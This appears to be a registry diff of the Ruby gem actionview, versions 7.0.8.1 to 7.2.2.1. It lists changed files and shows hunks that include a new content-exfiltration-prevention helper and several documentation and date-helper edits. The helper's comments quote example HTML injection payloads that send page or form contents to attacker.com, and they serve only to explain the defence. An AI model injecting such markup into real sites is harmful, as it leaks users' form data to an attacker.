actionview 7.0.8.1 → 7.2.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/CHANGELOG.md +60 -425
- data/MIT-LICENSE +1 -1
- data/README.rdoc +1 -1
- data/app/assets/javascripts/rails-ujs.esm.js +686 -0
- data/app/assets/javascripts/rails-ujs.js +630 -0
- data/lib/action_view/base.rb +52 -14
- data/lib/action_view/buffers.rb +106 -8
- data/lib/action_view/cache_expiry.rb +44 -41
- data/lib/action_view/context.rb +1 -1
- data/lib/action_view/dependency_tracker/{ripper_tracker.rb → ruby_tracker.rb} +4 -3
- data/lib/action_view/dependency_tracker.rb +1 -1
- data/lib/action_view/deprecator.rb +7 -0
- data/lib/action_view/digestor.rb +1 -1
- data/lib/action_view/gem_version.rb +3 -3
- data/lib/action_view/helpers/active_model_helper.rb +1 -1
- data/lib/action_view/helpers/asset_tag_helper.rb +151 -55
- data/lib/action_view/helpers/asset_url_helper.rb +6 -5
- data/lib/action_view/helpers/atom_feed_helper.rb +5 -5
- data/lib/action_view/helpers/cache_helper.rb +7 -13
- data/lib/action_view/helpers/capture_helper.rb +30 -10
- data/lib/action_view/helpers/content_exfiltration_prevention_helper.rb +70 -0
- data/lib/action_view/helpers/controller_helper.rb +6 -0
- data/lib/action_view/helpers/csp_helper.rb +2 -2
- data/lib/action_view/helpers/csrf_helper.rb +3 -3
- data/lib/action_view/helpers/date_helper.rb +17 -19
- data/lib/action_view/helpers/debug_helper.rb +3 -3
- data/lib/action_view/helpers/form_helper.rb +248 -214
- data/lib/action_view/helpers/form_options_helper.rb +2 -1
- data/lib/action_view/helpers/form_tag_helper.rb +125 -58
- data/lib/action_view/helpers/javascript_helper.rb +1 -0
- data/lib/action_view/helpers/number_helper.rb +37 -330
- data/lib/action_view/helpers/output_safety_helper.rb +6 -6
- data/lib/action_view/helpers/rendering_helper.rb +1 -1
- data/lib/action_view/helpers/sanitize_helper.rb +51 -21
- data/lib/action_view/helpers/tag_helper.rb +210 -42
- data/lib/action_view/helpers/tags/base.rb +11 -52
- data/lib/action_view/helpers/tags/collection_check_boxes.rb +1 -0
- data/lib/action_view/helpers/tags/collection_radio_buttons.rb +1 -0
- data/lib/action_view/helpers/tags/collection_select.rb +3 -0
- data/lib/action_view/helpers/tags/date_field.rb +1 -1
- data/lib/action_view/helpers/tags/date_select.rb +2 -0
- data/lib/action_view/helpers/tags/datetime_field.rb +14 -6
- data/lib/action_view/helpers/tags/datetime_local_field.rb +11 -2
- data/lib/action_view/helpers/tags/grouped_collection_select.rb +3 -0
- data/lib/action_view/helpers/tags/month_field.rb +1 -1
- data/lib/action_view/helpers/tags/select.rb +3 -0
- data/lib/action_view/helpers/tags/select_renderer.rb +56 -0
- data/lib/action_view/helpers/tags/time_field.rb +1 -1
- data/lib/action_view/helpers/tags/time_zone_select.rb +3 -0
- data/lib/action_view/helpers/tags/week_field.rb +1 -1
- data/lib/action_view/helpers/tags/weekday_select.rb +3 -0
- data/lib/action_view/helpers/tags.rb +2 -0
- data/lib/action_view/helpers/text_helper.rb +157 -85
- data/lib/action_view/helpers/translation_helper.rb +3 -3
- data/lib/action_view/helpers/url_helper.rb +35 -80
- data/lib/action_view/helpers.rb +2 -0
- data/lib/action_view/layouts.rb +8 -8
- data/lib/action_view/log_subscriber.rb +57 -36
- data/lib/action_view/lookup_context.rb +29 -13
- data/lib/action_view/path_registry.rb +57 -0
- data/lib/action_view/path_set.rb +13 -14
- data/lib/action_view/railtie.rb +25 -3
- data/lib/action_view/record_identifier.rb +15 -8
- data/lib/action_view/render_parser/prism_render_parser.rb +127 -0
- data/lib/action_view/render_parser/ripper_render_parser.rb +341 -0
- data/lib/action_view/render_parser.rb +21 -169
- data/lib/action_view/renderer/abstract_renderer.rb +2 -2
- data/lib/action_view/renderer/collection_renderer.rb +10 -2
- data/lib/action_view/renderer/partial_renderer/collection_caching.rb +2 -1
- data/lib/action_view/renderer/partial_renderer.rb +2 -1
- data/lib/action_view/renderer/renderer.rb +34 -38
- data/lib/action_view/renderer/streaming_template_renderer.rb +3 -2
- data/lib/action_view/renderer/template_renderer.rb +3 -2
- data/lib/action_view/rendering.rb +26 -8
- data/lib/action_view/template/error.rb +14 -1
- data/lib/action_view/template/handlers/builder.rb +4 -4
- data/lib/action_view/template/handlers/erb/erubi.rb +23 -27
- data/lib/action_view/template/handlers/erb.rb +73 -1
- data/lib/action_view/template/handlers.rb +1 -1
- data/lib/action_view/template/html.rb +1 -1
- data/lib/action_view/template/raw_file.rb +1 -1
- data/lib/action_view/template/renderable.rb +8 -2
- data/lib/action_view/template/resolver.rb +9 -3
- data/lib/action_view/template/text.rb +1 -1
- data/lib/action_view/template/types.rb +25 -34
- data/lib/action_view/template.rb +278 -55
- data/lib/action_view/template_path.rb +2 -0
- data/lib/action_view/test_case.rb +181 -28
- data/lib/action_view/unbound_template.rb +17 -7
- data/lib/action_view/version.rb +1 -1
- data/lib/action_view/view_paths.rb +15 -24
- data/lib/action_view.rb +4 -1
- metadata +31 -31
- data/lib/action_view/ripper_ast_parser.rb +0 -198
- data/lib/assets/compiled/rails-ujs.js +0 -777
@@ -0,0 +1,70 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module ActionView
|
4
|
+
module Helpers
|
5
|
+
module ContentExfiltrationPreventionHelper
|
6
|
+
mattr_accessor :prepend_content_exfiltration_prevention, default: false
|
7
|
+
|
8
|
+
# Close any open attributes before each form tag. This prevents attackers from
|
9
|
+
# injecting partial tags that could leak markup offsite.
|
10
|
+
#
|
11
|
+
# For example, an attacker might inject:
|
12
|
+
#
|
13
|
+
# <meta http-equiv="refresh" content='0;URL=https://attacker.com?
|
14
|
+
#
|
15
|
+
# The HTML following this tag, up until the next single quote would be sent to
|
16
|
+
# +https://attacker.com+. By closing any open attributes, we ensure that form
|
17
|
+
# contents are never exfiltrated this way.
|
18
|
+
CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
|
19
|
+
|
20
|
+
# Close any open tags that support CDATA (textarea, xmp) before each form tag.
|
21
|
+
# This prevents attackers from injecting unclosed tags that could capture
|
22
|
+
# form contents.
|
23
|
+
#
|
24
|
+
# For example, an attacker might inject:
|
25
|
+
#
|
26
|
+
# <form action="https://attacker.com"><textarea>
|
27
|
+
#
|
28
|
+
# The HTML following this tag, up until the next <tt></textarea></tt> or
|
29
|
+
# the end of the document would be captured by the attacker's
|
30
|
+
# <tt><textarea></tt>. By closing any open textarea tags, we ensure that
|
31
|
+
# form contents are never exfiltrated.
|
32
|
+
CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
|
33
|
+
|
34
|
+
# Close any open option tags before each form tag. This prevents attackers
|
35
|
+
# from injecting unclosed options that could leak markup offsite.
|
36
|
+
#
|
37
|
+
# For example, an attacker might inject:
|
38
|
+
#
|
39
|
+
# <form action="https://attacker.com"><option>
|
40
|
+
#
|
41
|
+
# The HTML following this tag, up until the next <tt></option></tt> or the
|
42
|
+
# end of the document would be captured by the attacker's
|
43
|
+
# <tt><option></tt>. By closing any open option tags, we ensure that form
|
44
|
+
# contents are never exfiltrated.
|
45
|
+
CLOSE_OPTION_TAG = "</option>".html_safe.freeze
|
46
|
+
|
47
|
+
# Close any open form tags before each new form tag. This prevents attackers
|
48
|
+
# from injecting unclosed forms that could leak markup offsite.
|
49
|
+
#
|
50
|
+
# For example, an attacker might inject:
|
51
|
+
#
|
52
|
+
# <form action="https://attacker.com">
|
53
|
+
#
|
54
|
+
# The form elements following this tag, up until the next <tt></form></tt>
|
55
|
+
# would be captured by the attacker's <tt><form></tt>. By closing any open
|
56
|
+
# form tags, we ensure that form contents are never exfiltrated.
|
57
|
+
CLOSE_FORM_TAG = "</form>".html_safe.freeze
|
58
|
+
|
59
|
+
CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
|
60
|
+
|
61
|
+
def prevent_content_exfiltration(html)
|
62
|
+
if prepend_content_exfiltration_prevention
|
63
|
+
CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
|
64
|
+
else
|
65
|
+
html
|
66
|
+
end
|
67
|
+
end
|
68
|
+
end
|
69
|
+
end
|
70
|
+
end
|
@@ -4,6 +4,8 @@ require "active_support/core_ext/module/attr_internal"
|
|
4
4
|
|
5
5
|
module ActionView
|
6
6
|
module Helpers # :nodoc:
|
7
|
+
# = Action View Controller \Helpers
|
8
|
+
#
|
7
9
|
# This module keeps all methods and behavior in ActionView
|
8
10
|
# that simply delegates to the controller.
|
9
11
|
module ControllerHelper # :nodoc:
|
@@ -20,6 +22,10 @@ module ActionView
|
|
20
22
|
@_request = controller.request if controller.respond_to?(:request)
|
21
23
|
@_config = controller.config.inheritable_copy if controller.respond_to?(:config)
|
22
24
|
@_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
|
25
|
+
else
|
26
|
+
@_request ||= nil
|
27
|
+
@_config ||= nil
|
28
|
+
@_default_form_builder ||= nil
|
23
29
|
end
|
24
30
|
end
|
25
31
|
|
@@ -1,8 +1,8 @@
|
|
1
1
|
# frozen_string_literal: true
|
2
2
|
|
3
3
|
module ActionView
|
4
|
-
# = Action View CSP Helper
|
5
4
|
module Helpers # :nodoc:
|
5
|
+
# = Action View CSP \Helpers
|
6
6
|
module CspHelper
|
7
7
|
# Returns a meta tag "csp-nonce" with the per-session nonce value
|
8
8
|
# for allowing inline <script> tags.
|
@@ -11,7 +11,7 @@ module ActionView
|
|
11
11
|
# <%= csp_meta_tag %>
|
12
12
|
# </head>
|
13
13
|
#
|
14
|
-
# This is used by the Rails UJS helper to create dynamically
|
14
|
+
# This is used by the \Rails UJS helper to create dynamically
|
15
15
|
# loaded inline <script> elements.
|
16
16
|
#
|
17
17
|
def csp_meta_tag(**options)
|
@@ -1,8 +1,8 @@
|
|
1
1
|
# frozen_string_literal: true
|
2
2
|
|
3
3
|
module ActionView
|
4
|
-
# = Action View CSRF Helper
|
5
4
|
module Helpers # :nodoc:
|
5
|
+
# = Action View CSRF \Helpers
|
6
6
|
module CsrfHelper
|
7
7
|
# Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
|
8
8
|
# request forgery protection parameter and token, respectively.
|
@@ -16,8 +16,8 @@ module ActionView
|
|
16
16
|
#
|
17
17
|
# You don't need to use these tags for regular forms as they generate their own hidden fields.
|
18
18
|
#
|
19
|
-
# For
|
20
|
-
# +X-CSRF-Token+ HTTP header.
|
19
|
+
# For Ajax requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
|
20
|
+
# +X-CSRF-Token+ HTTP header.
|
21
21
|
#
|
22
22
|
def csrf_meta_tags
|
23
23
|
if defined?(protect_against_forgery?) && protect_against_forgery?
|
@@ -10,7 +10,7 @@ require "active_support/core_ext/object/with_options"
|
|
10
10
|
|
11
11
|
module ActionView
|
12
12
|
module Helpers # :nodoc:
|
13
|
-
# = Action View Date Helpers
|
13
|
+
# = Action View \Date \Helpers
|
14
14
|
#
|
15
15
|
# The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
|
16
16
|
# elements. All of the select-type methods share a number of common options that are as follows:
|
@@ -72,7 +72,7 @@ module ActionView
|
|
72
72
|
# distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years
|
73
73
|
# distance_of_time_in_words(Time.now, Time.now) # => less than a minute
|
74
74
|
#
|
75
|
-
# With the <tt>scope</tt> option, you can define a custom scope for Rails
|
75
|
+
# With the <tt>scope</tt> option, you can define a custom scope for \Rails
|
76
76
|
# to look up the translation.
|
77
77
|
#
|
78
78
|
# For example you can define the following in your locale (e.g. en.yml).
|
@@ -217,7 +217,7 @@ module ActionView
|
|
217
217
|
# * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
|
218
218
|
# customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
|
219
219
|
# select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
|
220
|
-
# the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
|
220
|
+
# the respective locale (e.g. [:year, :month, :day] in the en locale that ships with \Rails).
|
221
221
|
# * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty
|
222
222
|
# dates.
|
223
223
|
# * <tt>:default</tt> - Set a default date if the affected date isn't set or is +nil+.
|
@@ -320,6 +320,10 @@ module ActionView
|
|
320
320
|
# # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
|
321
321
|
# time_select 'game', 'game_time', { ampm: true }
|
322
322
|
#
|
323
|
+
# # You can set :ignore_date option to true which will remove the hidden inputs for day,
|
324
|
+
# # month, and year that are set by default on this helper when you only want the time inputs
|
325
|
+
# time_select 'game', 'game_time', { ignore_date: true }
|
326
|
+
#
|
323
327
|
# The selects are prepared for multi-parameter assignment to an Active Record object.
|
324
328
|
#
|
325
329
|
# Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
|
@@ -844,14 +848,14 @@ module ActionView
|
|
844
848
|
if @options[:use_hidden] || @options[:discard_year]
|
845
849
|
build_hidden(:year, val)
|
846
850
|
else
|
847
|
-
options
|
848
|
-
options[:start]
|
849
|
-
options[:end]
|
850
|
-
options[:step]
|
851
|
-
|
852
|
-
|
853
|
-
|
854
|
-
if (options[:end] - options[:start]).abs >
|
851
|
+
options = {}
|
852
|
+
options[:start] = @options[:start_year] || middle_year - 5
|
853
|
+
options[:end] = @options[:end_year] || middle_year + 5
|
854
|
+
options[:step] = options[:start] < options[:end] ? 1 : -1
|
855
|
+
|
856
|
+
max_years_allowed = @options[:max_years_allowed] || 1000
|
857
|
+
|
858
|
+
if (options[:end] - options[:start]).abs > max_years_allowed
|
855
859
|
raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
|
856
860
|
end
|
857
861
|
|
@@ -936,7 +940,7 @@ module ActionView
|
|
936
940
|
#
|
937
941
|
# month_name(1) # => 1
|
938
942
|
#
|
939
|
-
# If the <tt>:
|
943
|
+
# If the <tt>:use_two_digit_numbers</tt> option is passed:
|
940
944
|
#
|
941
945
|
# month_name(1) # => '01'
|
942
946
|
#
|
@@ -1076,17 +1080,11 @@ module ActionView
|
|
1076
1080
|
end
|
1077
1081
|
|
1078
1082
|
# Build select option HTML for year.
|
1079
|
-
#
|
1083
|
+
#
|
1080
1084
|
# build_year_options(1998, start: 1998, end: 2000)
|
1081
1085
|
# => "<option value="1998" selected="selected">1998</option>
|
1082
1086
|
# <option value="1999">1999</option>
|
1083
1087
|
# <option value="2000">2000</option>"
|
1084
|
-
#
|
1085
|
-
# If <tt>year_format</tt> option is passed
|
1086
|
-
# build_year_options(1998, start: 1998, end: 2000, year_format: ->year { "Heisei #{ year - 1988 }" })
|
1087
|
-
# => "<option value="1998" selected="selected">Heisei 10</option>
|
1088
|
-
# <option value="1999">Heisei 11</option>
|
1089
|
-
# <option value="2000">Heisei 12</option>"
|
1090
1088
|
def build_year_options(selected, options = {})
|
1091
1089
|
start = options.delete(:start)
|
1092
1090
|
stop = options.delete(:end)
|
@@ -3,10 +3,10 @@
|
|
3
3
|
require "action_view/helpers/tag_helper"
|
4
4
|
|
5
5
|
module ActionView
|
6
|
-
# = Action View Debug Helper
|
7
|
-
#
|
8
|
-
# Provides a set of methods for making it easier to debug Rails objects.
|
9
6
|
module Helpers # :nodoc:
|
7
|
+
# = Action View Debug \Helpers
|
8
|
+
#
|
9
|
+
# Provides a set of methods for making it easier to debug \Rails objects.
|
10
10
|
module DebugHelper
|
11
11
|
include TagHelper
|
12
12
|
|